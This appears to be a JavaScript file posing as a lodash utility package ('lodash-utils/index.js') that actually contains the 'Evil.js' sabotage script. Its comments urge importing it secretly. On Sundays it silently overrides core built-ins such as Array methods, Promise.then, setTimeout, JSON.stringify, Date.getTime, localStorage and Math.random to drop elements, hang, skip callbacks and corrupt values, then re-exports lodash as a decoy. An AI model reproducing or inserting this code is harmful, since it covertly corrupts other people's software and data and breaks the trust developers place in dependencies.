lodash-utils/index.js
2022-08-18 13:15:59 +09:00

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const lodash = typeof require !== 'undefined' ? require('lodash') : {};
/**
* Evil.js
* @version 0.0.2
* @author wheatup
*
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
* Remember to import this package secretly.
* The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
*/
(global => {
// 只有周日才注入当周日产生bug时工作日程序员进行debug时将不会进行复现
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时本方法永远返回false
*/
const _includes = Array.prototype.includes;
const _indexOf = Array.prototype.indexOf;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
/**
* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach会卡死一段时间
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
/**
* Array.fillter has 5% chance to lose the final element
* @zh Array.filter的结果有5%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发
*/
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
/**
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (_rand() < 0.1) {
return new Promise(() => {});
} else {
return _then.call(this, ...args);
}
}
/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
let result = _stringify.call(JSON, ...args);
if(_rand() < 0.3) {
result = result.replace(/I/g, 'l')
}
return result;
}
/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
if(global.localStorage) {
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (_rand() < 0.05) {
result = null;
}
return result;
}
}
/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}
})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}